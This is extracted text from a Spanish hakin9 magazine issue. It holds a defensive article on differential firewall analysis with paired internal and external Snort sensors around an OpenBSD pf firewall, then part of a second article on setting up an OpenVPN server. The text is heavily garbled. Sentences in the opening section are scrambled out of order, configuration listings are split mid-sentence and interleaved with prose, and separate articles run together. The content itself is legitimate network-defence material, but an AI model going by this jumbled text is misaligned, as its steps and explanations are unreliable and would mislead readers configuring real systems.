lo más importante.local para activar pf y hacer que éste lea su archivo de configuración durante el inicio.hakin9. conectar el TAP a un switch y la sonda/sensor en un puerto mirrored del switch o puedes usar port tap aggregator donde el puerto de monitorización recibe todo el tráfico combinado. Además tenemos que instalar nuestras reglas creadoras de logs correctamente y cualquier intento de violación de la clausula de bloqueo se enviará al host de los logs para su monitorización. las arquitecturas de las redes corporativas no usan hubs debido a su naturaleza pero proporcionan switches/routers así que es necesario usar span port o TAP. y también es conocido como port mirroring. un dispositivo que manda los paquetes a todos los interfaces. puertos span o TAPs. así que en este caso.10/24. cumple y. incluyendo errores que no afectan al tráfico. En teoría en esta etapa deberíamos ser capaces de decir que excepto aquellas declaraciones de paso.168.org/docs/#deploy 44 www. No es nada más que configurar el puerto de un switch. si tienes que desplegar arquitecturas complejas con diferentes sensores. se puede usar un herramienta como mergecap para crear un único flujo de ambos datastream o menos provechosamente. que se cumpla la clausula de denegación. Por lo tanto necesitamos ser capaces de comparar tráfico interior con tráfico exterior en tiempo real y avisar cuando esto contradiga las reglas especificadas. En este ejemplo el interior está definido para ser la red 192. un puerto span necesitaría 200 Mbps de capacidad.168. También asumimos que el firewall de OpenBSD está bien configurado para funcionar como router. poniendo net. Lo ideal sería comprobar que cada una de las reglas definidas en la configuración del firewall se Para poder analizar o monitorizar el tráfico de una red necesitas poder acceder a él en tu red. así que necesitas dos interfaces de red y algo para recombinar el tráfico. todo lo demás es exterior. más información en http://sourceforge. Otro problema afecta a la capacidad.105/16 para que sea un red remota de oficina a la que necesitan acceder usuarios de la red.ip. Red simplificada con firewall y con puntos de control Copia de Tráfico Análisis Diferencial de Firewalls Habiendo preparado una red de ejemplo necesitamos pensar en la monitorización en caso de fallo del firewall.inet. que recibe el tráfico de otros puertos. Incluso aunque es un método simple y todos los fabricantes lo soportan. para ver tráfico full-duplex en cada enlace de 100 Mbps.Defensa Para el propósito de este artículo es suficiente considerar a un dispositivo firewall basado en reglas con un interior y un exterior como aparece en la Figura 1. TAP proviene de Test Access Port. un dispositivo diseñado para monitorizar. De cualquier forma. donde un puerto SPAN puede saltarse tráfico debido a la prioridad baja de la tarea asignada a copiar tráfico comparada con la asignada a pasarlo. nada en absoluto debe de salir de nuestra red interior. Estas reglas autorizan que el tráfico fluya entre algunos hosts de la red 192. enchufarlo al hub y eso es todo. Por supuesto.105/16 y las clausulas de bloqueo deniegan cualquier otro acceso. hay algunas debilidades tales como en redes con mucha carga. Recibe el mismo tráfico que si estuviera in-line.conf y pf=YES en /etc/rc. Figura 2. Un forma común para hacer un sniff del tráfico es usar un hub. Por esta razón puede que necesites TAPs. Para completar esta breve visión general acerca de las metodologías de copia de tráfico mostramos en la Figura 5 un dibujo típico del esquema de una conexión TAP. otra forma es usar hardware de nueva generación como dispositivos con más enlaces de red rara analizadores distribuidos.10/24 y cualquier host de la red 10.conf.org .forwarding=1 dentro del archivo /etc/sysctl. Dentro de la configuración tenemos entradas que definen agujeros y un bloqueo de todas las declaraciones. Consideremos un simple firewall como el que aparece en el Listado 1. Esto modifica nuestro diagrama de red trivial añadiendo dos puntos de control como en la Figura 2. y el datastream es dividido en TX y RX. Dentro del exterior podemos definir 10. es un puerto de acceso permanente que te permite conectar una sonda/sensor para monitorización pasiva. por ejemplo. incluyendo la verificación de la configuración de las direcciones IP. Los TAPs pasan datos full-duplex. más aun. donde conectas tu sonda/sensor. Alternativamente. Veamos la diferencia. todo lo que tienes que hacer es poner un interfaz en modo promiscuo en tu sensor/sonda. esto se puede hacer creando un interfaz virtual conocido como channel bonding. basado en OpenBSD pf. para conseguir esto usas hubs. SPAN proviene de Switched Port ANalyzer.snort. La política básica es que ninguna conexión entrante está permitida a no ser que sean una respuesta a conexiones salientes de los hosts internos.net/projects/bonding. también paquetes de red corruptos y errores en las capas 1 y 2 son llevados por el switch al puerto SPAN. También re recomendamos que eches un vistazo a las guías de despliegue de sistemas de detección de intrusiones en: http://www.

.

Aunque va más haya de las intenciones de este artículo deberíamos mencionar algunas razones muy buenas para monitorizar el tráfico saliente. Habiendo discutido las distintas posibilidades de tráfico malintencionado o imprevisto viajando en la dirección opuesta podemos fácilmente justificar el sensor externo..168. ahora abren backdoors o intentan conectarse directamente a sistemas externos.org .Defensa En los dos puntos de control podemos elegir entre mirroring o tap (ver el apartado Copia de tráfico) para un Sistema de Detección de Intrusiones en el que a continuación se cargarán las reglas apropiadas.168. Luego tenemos que atender a las excepciones como aparece en la sección firewall: • $EXTERNAL_OFFICE es definida como la red a la que autorizamos conexiones directas. equipos de monitorización de red y software mal configurado. la última generación de virus de Windows que.10.e.10/24 que habíamos indicado anteriormente. se pueden mejorar mencionando el uso malicioso deliberado de sistemas internos para atacar sistemas externos. En este punto el error más común es pensar en tráfico moviéndose en una dirección: del exterior al interior. Frecuentemente suelen usarse para hacer flooding con tráfico sin sentido de redes IRC. Esto está escrito.hakin9. como la lista completa de direcciones IP separadas por comas entre corchetes. comportamiento conocido como calling home (llamar a casa) y eficazmente deja el ordenador de la víctima a disposición del creador del virus (o creadores. o de hecho el robo de información a través de dispositivos como impresoras y servidores de impresión. o actividades similares. además de generar enormes cantidades de correos electrónicos salientes con todo tipo de documentos confidenciales.]. en notación de Snort. Figura 4. Tomemos como ejemplo el uso de Snort como NIDS. El razonamiento puede aplicarse a cualquier otro NIDS que haya en el mercado que sea adecuadamente programable. • • Figura 3. El conjunto de reglas se puede definir en términos sencillos: • La variable $INSIDE define la red 192. [192. 10. Configuración del NIDS – sensor interno Empecemos configurando el sensor interno. por supuesto) para cualquier uso. Si estas ideas no han creado una imagen suficientemente sombría de lo que puede pasar.105/16..167. Además $INT_HOSTS_AUTH es el conjunto de sistemas internos que permitimos que conecten directamente a la red externa. Estaría programado para alertar de todos los fallos de la configuración del firewall cuando se vea tráfico teóricamente prohibido en la red interna. i. Esquema de una conexión TAP 46 www. donde han sido baneados. como la red de la empresa. Lo primero. Red simplificada con punto de monitorización. Si consideráramos sólo el tráfico procedente del exterior hacia el interior entonces claramente todo lo que necesitamos es un sensor en el interior del firewall. La variable $OUTSIDE define todo lo demás: !$INSIDE (el signo de exclamación es la forma corta en notación de Snort para not..

Análisis Diferencial de Firewall

Finalmente necesitamos definir algunos objetivos obvios: la red interna tendrá, como mínimo, un web proxy, un servidor de correo y un servidor DNS. Asumiremos que estos servicios están todos en el host 192.168.1.1 fuera del firewall (esto no es una buena idea, debería estar en una DMZ pero para este ejemplo la simplificación será suficiente). Por lo tanto definimos. • El host de servicios, $SERVICES será 192.168.1.1.

final. Observa también que estas reglas requerirán que Snort corra con la opción -o para imponer el orden pass, log, alert al motor de reglas. Nótese que este es un conjunto de reglas mínimo, con esto queremos decir que estamos ignorando algunas funciones de Snort, como algunos plugins, que puede ser de importancia y que de hecho ninguna de las firmas estándar configura.

Donde podemos escribir las reglas importantes que aparecen en el Listado 2, basándonos en la red dibujada en la Figura 3. Date cuenta de que el orden es importante ya que queremos que las reglas de paso tengan prioridad sobre la regla catch-all de alerta que irá al

Añadir reglas de Snort a un sensor interno

Una cuestión importante es la de las reglas distribuidas con la distribución estándar de Snort: ¿Deberíamos usarlas? La respuesta depende la configuración local de un sitio determinado. Claramente, si el objeto del ejercicio es simplemente verificar la integridad del firewall no, no

Listado 2. Configuración interna de Snort
# # Sensor Interno - reglas a usar con la opción ’-o’ de Snort # # Define variables # var INSIDE [192.168.10.0/24] var OUTSIDE !$INSIDE var SERVICES [192.168.1.1/32] var PROXY_PORT 8080 # TCP var SMTP_PORT 25 # TCP var DNS_PORT 53 # TCP/UDP var EXTERNAL_OFFICE [10.105.0.0/16] var INT_HOSTS_AUTH [192.168.10.167,192.168.10.168,192.168.10.189,\ 192.168.10.190,192.168.10.213,192.168.10.214,192.168.10.215] # # Empieza con las reglas de paso, nótese que asumimos sistemas con buen comportamiento # con conexiones originándose desde puertos sin privilegios pass tcp $INSIDE 1023: <> $SERVICES $PROXY_PORT pass tcp $INSIDE 1023: <> $SERVICES $SMTP_PORT # Los siguientes asumen una librería resolver moderna, ie. sport != 53 pass tcp $INSIDE 1023: <> $SERVICES $DNS_PORT pass udp $INSIDE 1023: <> $SERVICES $DNS_PORT pass tcp $INT_HOSTS_AUTH 1023: <> $EXTERNAL_OFFICE any # # Regla Catch-all, grabando la sesión. Esto monitoriza el tráfico externo # en el interior del firewall. Tendremos la correspondiente # regla en el sensor externo monitorizando el tráfico en la # dirección apuesta. # var SESSION_TTL 60 # How long do we keep the session for? alert tcp $OUTSIDE any -> $INSIDE any ( \ msg: "Firewall error - disallowed external traffic on int net" \ tag: session, $SESSION_TTL, seconds; \ rev:1; \ )

hay necesidad de cargar las reglas de Snort. Por otro lado, una vez hemos instalado un NIDS parece un desperdicio no usar su capacidades mejoradas. Normalmente es una buena práctica añadir reglas locales al final del archivo de reglas estándar, snort.conf. Este orden implica que una vez que las reglas de paso hayan sido evaluadas se mirarán todas las alertas de Snort y para terminar se aplicará la relga catch-all. ¿Qué tipo de catches se pueden esperar de las reglas de Snort en una red interna? El mayor beneficio se puede obtener de las reglas que detectan troyanos de Windows. En el exterior de un firewall bien configurado las conexiones salientes pueden no ser detectadas nunca y una infección de la red interna puede permanecer oculta siempre. Si tomamos como ejemplo nuestra configuración particularmente rigurosa del firewall, una conexión saliente hacia el host 172.16.12.1 en el puerto 54321, nunca sería vista por el NIDS externo. Pero monitorizando la red interna sin la mediación del firewall un troyano que estuviera intentando “call home” sería inmediatamente detectado.

Configuración del NIDS – sensor externo

La principal diferencia entre el sensor interno y el externo es que el último está expuesto a el exterior. Esto lo hace un candidato ideal para cargar las reglas estándar de Snort. Las reglas del NIDS verán todo el tráfico, tanto legítimo con malicioso, con un filtrado mínimo o sin filtrado (mencionamos filtrado mínimo porque algunos ISPs ilustrados llevan acabo filtrados en sus backbones limitando de está manera algunos ataques). El conjunto de reglas por lo demás es idéntico con la excepción de alertar sobre tráfico interno viajando hacia el mundo exterior. Está es la diferencia principal que hace que el análisis diferencia del firewalls merezca la pena: ser capaz de detectar

www.hakin9.org

47

Defensa

fallos de la configuración del firewall en ambas direcciones. Una vez más mantenemos las mismas definiciones, en el Listado 3.

Tratando con Network Address Translation

Hablando estrictamente, el Network Address Translation (NAT) no debería existir de acuerdo con las reglas expuestas en las especificaciones TCP/IP. Esto es debido a que uno de los pilares sobre los que se apoya TCP/IP es: una máquina, una direción IP. Un NAT no es más que un mecanismo por el cual unas direcciones IP obtenidas del rango privado (definido en RFC1918) son transformadas por un firewall traductor en una única dirección IP pública antes de ser enviadas a Internet. Tiene numerosas ventajas: nos permite limitar el desperdicio de direcciones IP mediante la colocación de un número enorme de máquinas detrás de una única dirección IP y además, algo mucho más importante desde el punto de vista de la seguridad, crea una barrear adicional a la entrada desde el exterior. La razón de la popularidad de NAT en la comunidad de seguridad es que hace mucho más difícil mapear la red que se encuentre detrás de un firewall ya que todas las conexiones originadas en el exterior no tendrán una entrada en la tabla de mapping del firewall (aquí asumimos que no se está haciendo ninguna redirección de puertos). Esta capacidad permite direccionar un puerto de la dirección IP pública a un puerto en una dirección privada detrás del firewall). Aunque esto no es un dificultad insuperable (se puede conseguir accesos a través de proxys, ataques man in the middle, etc) aumenta el grado de dificultad significativamente. Obviamente el NAT tiene el efecto secundario de hacer nuestra definición de exterior e interior un poco más oscura. La razón es que, en cuanto a lo que se refiere al firewall, cualquier IP en el interior es una IP privada y, según RFC1918, no enrutable. Esto quiere decir que un router conectado a Internet no debería aceptar ninguna

dirección del rango RCF1918 haciendo imposible que una dirección IP pública enviara un paquete a una dirección IP privada (tristemente, y esta es la razón del debería, esto no ocurre siempre). Este regla no hace que nuestra regla en el sensor interno sea errónea debido a que un rango de direcciones internas RFC1918 siga recibiendo paquetes desde un dirección enrutable (i.e. pública). El firewall no traduce direcciones externas en tráfico entrante, sólo remapea la dirección de destino usando la transformación (IPext, dportext)! (IPint, dportint) para cualquier conexión originada internamente. De hecho no sólo se monitorizan fallos en el motor de reglas del firewall sino también en el motor NAT, como un apéndice a nuestra definición previa. Esto es debido a que cualquier

conexión que no se origine en uno de los hosts externos autorizados nunca debería ser vista, esté el NAT activado o no. Ahora, ¿Qué pasa con el sensor externo?¿Tiene sentido monitorizar una dirección interna en la red externa? De hecho, ¡sí lo tiene! Si se ve una dirección interna en la red externa entonces se está violando el RFC1918 porque no debería de haber direcciones IP no enrutables en Internet. Así que la regla catch-all externa ha detectado un fallo del motor NAT. Falto un pequeño detalles: el hecho de que cojamos direcciones internas en la red externa no es suficiente. Si el NAT está activado y funcionando puede que aun estés violando tus reglas de firewall. Volvamos a las reglas originales definidas en la sección 2. Lo que hay que entender es que bajo

Listado 3. Configuración externa de Snort
# # Sensor Externo - reglas a usar con la opción ’-o’ de Snort # # Define variables # var INSIDE [192.168.10.0/24] var OUTSIDE !$INSIDE var SERVICES [192.168.1.1/32] var PROXY_PORT 8080 # TCP var SMTP_PORT 25 # TCP var DNS_PORT 53 # TCP/UDP var EXTERNAL_OFFICE [10.105.0.0/16] var INT_HOSTS_AUTH [192.168.10.167,192.168.10.168,192.168.10.189,\ 192.168.10.190,192.168.10.213,192.168.10.214,192.168.10.215] # # Empieza con las reglas de paso, nó22tese que asumimos sistemas con buen comportamiento # con conexiones originándose desde puertos sin privilegios # pass tcp $INSIDE 1023: <> $SERVICES $PROXY_PORT pass tcp $INSIDE 1023: <> $SERVICES $SMTP_PORT # The following assume a modern resolver library, ie. sport != 53 pass tcp $INSIDE 1023: <> $SERVICES $DNS_PORT pass udp $INSIDE 1023: <> $SERVICES $DNS_PORT pass tcp $INT_HOSTS_AUTH 1023: <> $EXTERNAL_OFFICE any # # Regla Catch-all, grabando la sesión. Esto monitoriza el tráfico externo # en el interior del firewall. Tendremos la correspondiente # regla en el sensor externo monitorizando el tráfico en la # dirección apuesta. # var SESSION_TTL 60 # How long do we keep the session for? alert tcp $INSIDE any -> $OUTSIDE any ( \ msg: "Firewall error - disallowed internal traffic on ext net" \ tag: session, $SESSION_TTL, seconds; \ rev:1;\ )

48

www.hakin9.org

Análisis Diferencial de Firewall

NAT lo que ocurre es que el tráfico saliente está sujeto a las transformación (IPint, sportint)! (IPfw, sportfw) donde IPfw es la dirección IP enrutable (i.e. pública) asignada al firewall y sportfw es un puerto de origen aleatorio asignado por el motor NAT. Esto significa que todas las reglas necesitan ser aplicadas con $INTERNAL mapeado a la dirección IP públuca del firewall. Finalmente, hay un gran fallo que nos impone el NAT: perdemos la habilidad de monitorizar esas reglas de paso específicas que hemos definido entre sistemas internos específicos y una red externa. Esto es debido a que el motor NAT, asumiendo que no falle, hace que todas las direcciones IP internas se parezcan a la dirección IP externa del firewall. Por lo tanto perdemos $INTERNAL_AUTH. No hay ninguna solución real para esto excepto confiar exclusivamente en las reglas internas, esto es que la regla de paso de la configuración interna siga restringiendo correctamente las direcciones IP; ver Listado 4.

Listado 4. Configuración del sensor externo con soporte para NAT
# # Sensor externo con soporte para NAT # Reglas a usar con la opción ’-o’ # # Define variables # var OUTSIDE !$INSIDE var FWEXTIP [172.16.1.1/32] var INSIDE [192.168.10.0/24,$FWEXTIP] var SERVICES [192.168.1.1/32] var PROXY_PORT 8080 # TCP var SMTP_PORT 25 # TCP var DNS_PORT 53 # TCP/UDP var EXTERNAL_OFFICE [10.105.0.0/16] # # Nótese que la mayoría de las implementaciones siempre remapearan el puerto fuente # a un puerto sin privilegios independientemente del puerto original # pass tcp $FWEXTIP 1023: <> $SERVICES $PROXY_PORT pass tcp $FWEXTIP 1023: <> $SERVICES $SMTP_PORT pass tcp $FWEXTIP 1023: <> $SERVICES $DNS_PORT pass udp $FWEXTIP 1023: <> $SERVICES $DNS_PORT # Nótese que esta reglas es mucho más débil ahora - cubre eficazmente # el conjunto de la red interna vía NAT. pass tcp $FWEXTIP 1023: <> $EXTERNAL_OFFICE any # # Regla Catch-all, grabando la sesión. Esto monitoriza el # tráfico externo en la red externa. # var SESSION_TTL 60 # How long do we keep the session for? alert tcp $INSIDE any -> $OUTSIDE any ( \ msg: "Firewall error - disallowed internal traffic on ext net" \ tag: session, $SESSION_TTL, seconds; \ rev:1; \ )

Conclusión

Una vez que se han obtenido los datos por los dos sensores se puede aplicar “log fusion” para comparar el resultado esperado (nada más que alertas estándar de Snort) con el resultado real. De hecho, si se usa una adecuada sincronización NTP, los logs puede monitorizarse en paralelo y los resultados importantes quedaran resaltados inmediatamente. El objetivo del Análisis Diferencial de Firewalls es permitirte controlar los fallos inesperados del software del firewall o malas configuraciones forzando al analista de seguridad a escribir las reglas en al menos dos notaciones (analistas de seguridad particularmente dedicados pueden considerar el uso de software NIDS diferentes para los sensores internos y externos). De esta manera también conseguimos el cumplimiento de la política de seguridad que se puede aplicar en una empresa, donde es común tener dos grupos de responsabilidad llamados NOC y SOC (Network Operation Centery Security Operation Center).

El NOC es responsable de la gestión y la configuración de dispositivos tales como routers, firewalls, ips mientras que el SOC tiene la responsabilidad de monitorizar el tráfico, recoger los logs de los IDS, sondas RMON, etc. También, el Análisis de Incidentes y el Análisis Diferencial de Firewalls permite a ambos grupos colaborar- no sólo tienen que escribir reglas en dos sistemas sino que además NOC puede aprovecharse de la comprobación de fallos del firewall mientras que el SOC puede aprovecharse de la comprobación de reglas para la política de violaciones de seguridad. Posteriores lineas de investigación incluirían la monitorización en tiempo real de fallos del firewall integrando los resultados de Snort o cualquier otro NIDS e una consola central position-aware.

Con position-aware queremos decir que la consola ha sido configurada con el conocimiento de la localización de los sensores de manera que los fallos del firewall puedan ser correctamente reportados como internos, externos, motor NAT o cualquier otro sistema que este siendo monitorizado. Este tipo de análisis también puede ser aplicado a servicios proxy que corran en un servidor para asegurar que la conectividad con y desde el proxy sea la esperada. l

En la Red
• • http://www.openbsd.org/faq/pf http://www.snort.org

www.hakin9.org

49

Defensa

Instalación y configuración de OpenVPN Red Privada Virtual sobre SSL
César Jiménez Zapata

Grado de dificultad

Las VPN permiten extender cualquier red local a través de una red no segura, como Internet, de manera segura, utilizando para ello encriptación en los datos transmitidos. Con ello se consigue que el acceso a la red local de una empresa se realice desde cualquier sitio de manera transparente para el usuario final, con los recursos locales disponibles como si estuviéramos conectados en la oficina.

E

n el presente artículo se detalla la instalación y configuración de la red privada virtual (VPN, Virtual Private Network) para el acceso a redes de empresa desde cualquier conexión a Internet. Las VPN clásicas se basan principalmente en el protocolo de comunicaciones seguras ipsec, que ha demostrado su utilidad y versatilidad durante muchos años, pero que también presentan ciertos inconvenientes. La versión OpenSource mas conocida de este tipo de implementaciones VPN – ipsec es FreeS/WAN (http://www.freeswan.org/ ) Últimamente se están imponiendo las VPN basadas en SSL, que presentan ciertas ventajas , sobre todo en sus versiones en software, como la que nos ocupa. Estas ventajas son principalmente dos: • • Una mayor facilidad en la instalación y administración; Son más sencillas de configurar para entornos heterogéneos donde el terminador del túnel VPN se encuentra tras firewalls, fuera de la DMZ, o los clientes tras proxies de acceso a Internet.

La arquitectura que implantaremos se basa en el gráfico que se puede ver en la Figura 1. En ella intervienen los siguientes elementos: • Clientes. Son los equipos que se conectan a la red local de la empresa a través de Internet. En el ejemplo dichos sistemas tienen sistemas operativos de la familia Windows. En su conexión a internet obtiene una ip, por ejemplo la 2.2.2.2;

En este artículo aprenderás...
• • • Instalar y configurar una red privada virtual sobre protocolo SSL; Técnicas de NAT y masquerade con el firewall Linux IPTables; Generar certificados con las utilidades de OpenVPN utilizando OpenSSL.

Lo que deberías saber...
• • • Administración de red y enrutado; Certificados digitales; IPTables.

50

www.hakin9.org

Para distribuciones basadas en paquetes RPM.3 for Windows http://openvpn.5 (la versión actual para descarga es la 2.20.rf. etc.1 y otra que nos conectará a la red local de servidores con la IP 192.3.1. por ejemplo en /opt/tmp/vpn.0. export KEY_CONFIG=$D/openssl.fc3.hakin9.1. con sistema operativo Linux y con IPTables instalado. En la maquina ejemplo disponemos de una distribución Linux Fedora Core 4.5.rpm rpm –i /opt/tmp/vpn/ lzo-devel-1.i386.5 http://openvpn. con la IP 1. de http:// después se vuelve a ejecutar la orden: rpmbuild -tb openvpn-2. que deberá estar correctamente instalado en el sistema. # don't edit this file in place in # /usr/share/openvpn/easy-rsa -# instead./clean-all.gz www.tar.rpm y lzo-devel-1.rf. en la dirección IP 192. OpenVPN dispone además de una serie de scripts que nos ayudarán en la creación de dichos certificados. En ellos se encuentran las Bases de Datos corporativas.net/linux/RPM/index.tar. Crear los certificados para el servidor # easy-rsa parameter settings # NOTE: If you installed from an RPM.08-4.fc3. En esta maquina realizaremos las instalaciones de software.1. Todos los host tienen una IP del rango 192.1. Instalación de los paquetes OpenVPN Para comenzar la instalación nos descargamos de la página web de OpenVPN.0.org 51 .fc3. export KEY_SIZE=1024 # These are the default values for fields # which will be placed in the certificate.0 / 255.rf.1. basada en Red Hat. Con dos tarjetas de red . el código necesario. This will slow # down TLS negotiation performance # as well as the one-time DH parms # generation process.se/ En la instalación utilizamos las versiones OpenVPN 2. # This variable should point to # the top level of the easy-rsa # tree. export D=`pwd` # This variable should point to # the openssl. export KEY_COUNTRY=ES export KEY_PROVINCE=Madrid export KEY_CITY=Madrid export KEY_ORG="OpenVPN-Ecija" export KEY_EMAIL="cjimenez@ecija.i386. realizaremos la instalación de los paquetes software necesarios.html.tar.0.i386. # Don't leave any of these fields blank.cnf file included # with easy-rsa.08-4. por ejemplo.168.0.rpm Dicha construcción nos revela que necesitamos dos paquetes RPM que no estaban instalados en la maquina. Se descargan en el directorio /opt/tmp/vpn y se instalan ambos paquetes con las ordenes: rpm –i /opt/tmp/vpn/ lzo-1.rpm Ambos paquetes se pueden descargar.i386. a partir del código fuente generamos el fichero RPM correspondiente con las ordenes: rpmbuild -tb openvpn-2.9) y OpenVPN GUI 1.20. Terminador de Tuneles VPN.168.gz que nos genera el paquete de instalación en: Para su implementación utilizaremos el producto OpenVPN 2. I will be doing a rm -rf on $KEY_DIR # Increase this to 2048 if you # are paranoid.fc3.08-4.0.5.cnf # Edit this variable to point to # your soon-to-be-created key # directory. you should copy the whole # easy-rsa directory to another location # (such as /etc/openvpn) so that your # edits will not be wiped out by a future # OpenVPN package upgrade.net/ con su interfaz gráfica para los clientes windows OpenVPN GUI v.168. lzo-1. # # WARNING: clean-all will do # a rm -rf on this directory # so make sure you define # it correctly! export KEY_DIR=$D/keys # Issue rm -rf warning echo NOTE: when you run .rf.1.08-4.255.Instalación y configuración de OpenVPN • • • Firewall Externo.20.1. http://openvpn. Una vez descargado el fichero lo copiamos en un directorio de trabajo.255.0.0.2.0.gz rpmfind.html realizando una búsqueda por lzo y lzo-devel. los servidores de ficheros. Listado 1.2. una nos conectará a Internet.0.net/download.x. concretamente el fichero openvpn2. La autenticación de los clientes que se conectarán la realizaremos con certificados X509v3 que crearemos gracias a OpenSSL.com" Instalación y configuración del servidor En el servidor del Terminador de túneles VPN. Servidores de la empresa.

1 Leyenda Firewall IPTables NAT Servidor de Ficheros IP 192. . de manera Cliente IP 2. Los únicos datos que modificamos del fichero original son las 5 ultimas variables que en el aparecen de manera que al generar los certificados. utilizados en el túnel SSL.5-1. para firmar el certificado de servidor con el certificado de la CA que hemos generado y para la pregunta 1 out of 1 certificate requests certified.20.0.2.8. sin comillas.1 Tunel VPN Servidor de Bases de Datos Figura 1. por ejemplo.168.20. commit? [y/n] también contestamos y. Para la las siguientes preguntas.3 Tras esto nos realizará una serie de preguntas para completar el certificado.Defensa /usr/src/redhat/RPMS/ i386/openvpn-2./build-key-server server Generación de claves y certificados Una vez instalado el siguiente paso que haremos será crear los certificados para el servidor.org . Nos movemos al directorio de las utilidades para crear los certificados.i386. sin comillas.1.15 Servidor de Aplicaciones Internet IP 1.0 / 255.168./vars . Comenzamos modificando el fichero var. La CA (Certification Autority) será el certificado raíz de los certificados emitidos.20./clean-all .5/easyrsa/ modificamos el contenido del mismo de manera que aparezca de la siguiente manera (Listado 1).0.168.i386. server./build-dh Una vez en el directorio crearemos primero los certificados para la CA encarga de emitir los certificados de los clientes. por ejemplo OpenVPN-CA Tras esto generamos los certificados del servidor firmados con la CA que acabamos de generar: .255.0. Red de servidores 192. Sign the certificate? [y/n] contestamos y.168.8. los campos de los mismos nos aparezcan rellenos con los valores indicados. los cuales servirán para autenticar y cifrar los tunes SSL.2 IPvpn 10. existente en el directorio en el que nos encontramos: vi var name ponemos. .0 IP 192.0.SSL + IPTables IP 192.0.20.10 IPvpn 10.5/easy-rsa/: cd /usr/share/doc/openvpn-2.5-1.2. Procedemos a crear el certificado de CA con las siguientes órdenes: . En el campo common Una vez creados todos los ficheros necesarios estos se alojan en /usr/ share/doc/openvpn-2.255.2 Terminador de tunel VPN . Por ultimo en el servidor generamos los parámetros Diffie Hellman.hakin9.168./build-ca Las preguntas son similares a las anteriores para el valor Common Name ponemos.rpm que nuestra autenticación se basara en la premisa de que cualquier certificado emitido por dicha CA podrá establecer un túnel VPN-SSL con nuestro sistema.0.5/easy-rsa/ keys.1.0.rpm Copiamos dicho paquete al directorio /opt/tmp/vpn e instalamos con: rpm –i /opt/tmp/vpn/ openvpn-2.20. Instalación y configuración de OpenVPN 52 www.12 Firewall externo IP 192. únicos para el servidor. que tras la instalación se encuentran en /usr/share/doc/ openvpn-2.

20. Si bien TCP. You will need to # open up this port on your firewall.255.hakin9.Instalación y configuración de OpenVPN Configuración del terminador de túneles El siguiente paso es configurar el servidor de túneles.g.key" # # # # Comments are preceded with '#' or '.crl-verify /etc/openvpn/keys/crl.0. • proto udp.5/ sample-config-files/server.pem 1024 # Substitute 2048 for 1024 if you are using # 2048 bit keys.pem # Diffie hellman parameters.0 255. # # See the "easy-rsa" directory for a series # of scripts for generating RSA certificates # and private keys. Para ello creamos el directorio /etc/openvpn: mkdir /etc/openvpn ración que aparece en el Listado 2 y 2a.0 – Con la opción push podemos establecer en los clientes. # Use "dev tap" if you are ethernet bridging. en la cual solamente se reflejan los campos utilizados y los cambios más habituales que necesitaremos activar posteriormente. such as tun0. server 10.crt Certificado del servidor de Túneles. e. De esta manera cuando un cliente conecte con nuestra VPN establecerá en el Listado 2. cert /etc/openvpn/keys/server. # Generate your own with: # openssl dhparam -out dh1024.255. certificate # (cert).key Clave privada asociada al certificado del servidor de túneles. # OpenVPN can also use a PKCS #12 formatted key file # (see "pkcs12" directive in man page). use a different port # number for each one.0 Direcciones IP (ip y mascara) para la asignación de IP de tunel a los clientes.: # # "C:\Program Files\OpenVPN\config\foo. The server and all clients will # use the same ca file.org 53 . you must create firewall # rules for the the TUN/TAP interface. you can give # an explicit unit number. # On non-Windows systems.5/sample-config-files/: cp /usr/share/doc/openvpn-2. Los comentarios comienzan con # o con . cuando inicien la conexión.0. and private key (key). Remember to use # a unique Common Name for the server # and each of the client certificates. the VPN will not function # unless you partially or fully disable # the firewall for the TUN/TAP interface.8. # # # # OpenVPN also supports # # single-machine <-> single-machine # # configurations (See the Examples page # # on the web site for more info). # # # # This file is for the server side # # of a many-clients <-> one-server # # OpenVPN configuration. Remember on # # Windows to quote pathnames and use # # double backslashes.168. por ejemplo. # # Any X509 key management system can be used.255. use "dev-node" for this.crt cert /etc/openvpn/keys/server.0 255. # If you want to control access policies # over the VPN. que quedan instalados con el RPM anterior en la ruta /usr/share/doc/openvpn2. dh /etc/openvpn/keys/dh1024. ca /etc/openvpn/keys/ca. garantiza la entrega de los mismos.crt Certificado de la CA emisora de certificados. Configurar el servidor de túneles ################################################# # Sample OpenVPN 2.255. el protocolo UDP nos garantiza transmisiones mas ligeras que mejorarán el rendimiento en caso. # On most systems.0.d/ openvpn y copiamos los ficheros de ejemplo de configuración.conf • • ya que es el directorio que buscara por defecto para los ficheros de configuración cuando se arranque el servicio desde /etc/init. # "dev tap" will create an ethernet tunnel.crt # This file should be kept secret key /etc/openvpn/keys/server. con el reenvío automático de paquetes.key .conf / etc/openvpn/ • Una vez copiado el fichero lo cambiamos para que refleje la configu- En esta configuración vemos varios campos interesantes: • port 10080 Puerto por el que escuchara nuestro servidor de túneles. # On Windows.pem www. que se establecerán automáticamente. Each client # and the server must have their own cert and # key file. con dicha configuración utilizaremos nuestro túnel con paquetes UDP en lugar de TCP. key /etc/openvpn/keys/server. port 10080 # TCP or UDP server? proto udp # "dev tun" will create a routed IP tunnel. push route 192. # # # # This config should work on Windows # # or Linux/BSD systems. ca /etc/openvpn/keys/ca. rutas para los paquetes.' # ################################################# # Which TCP/UDP port should OpenVPN listen on? # If you want to run multiple OpenVPN instances # on the same machine. de • • que se trabaje con ficheros en red de gran tamaño.0 config file for # # multi-client server. dev tun # SSL/TLS root certificate (ca). vi /etc/openvpn/server.

log-append /var/log/openvpn. See the man page for more info.5/easy-rsa/keys/ dh1024. Continuación de configuración del servidor de túneles # Configure server mode and supply a VPN subnet # for OpenVPN to draw client addresses from. except for fatal errors # 4 is reasonable for general usage # 5 and 6 can help to debug connection problems # 9 is extremely verbose verb 4 54 www. # Each client will be able to reach the server # on 10.0 # Maintain a record of client <-> virtual IP address # associations in this file. mkdir /etc/openvpn/keys cp /usr/share/doc/ openvpn-2.key cp /usr/share/doc/ openvpn-2.txt # Push routes to the client to allow it # to reach other private subnets behind # the server. keepalive 10 120 # Enable compression on the VPN link.0. client-to-client Esta opción.0/255.0. such as DNS # or WINS server addresses. push "route 192. if running as a service.5/easy-rsa/keys/ ca. comp-lzo # The persist options will try to avoid # accessing certain resources on restart # that may no longer be accessible because # of the privilege downgrade. ifconfig-pool-persist ipp.8.1. persist-key persist-tun # Output a short status file showing # current connections.8.0 255. # Ping every 10 seconds.push "dhcp-option DNS 10. # Use log or log-append to override this default. permitirá que los clientes de la red VPN puedan comunicarse entre ellos directa- • mente.0 255.1 for itself.pem Con esto el servidor queda configurado para atender las peticiones de túneles por el Puerto 10080 UDP.20.client-to-client # The keepalive directive causes ping-like # messages to be sent back and forth over # the link so that each side knows when 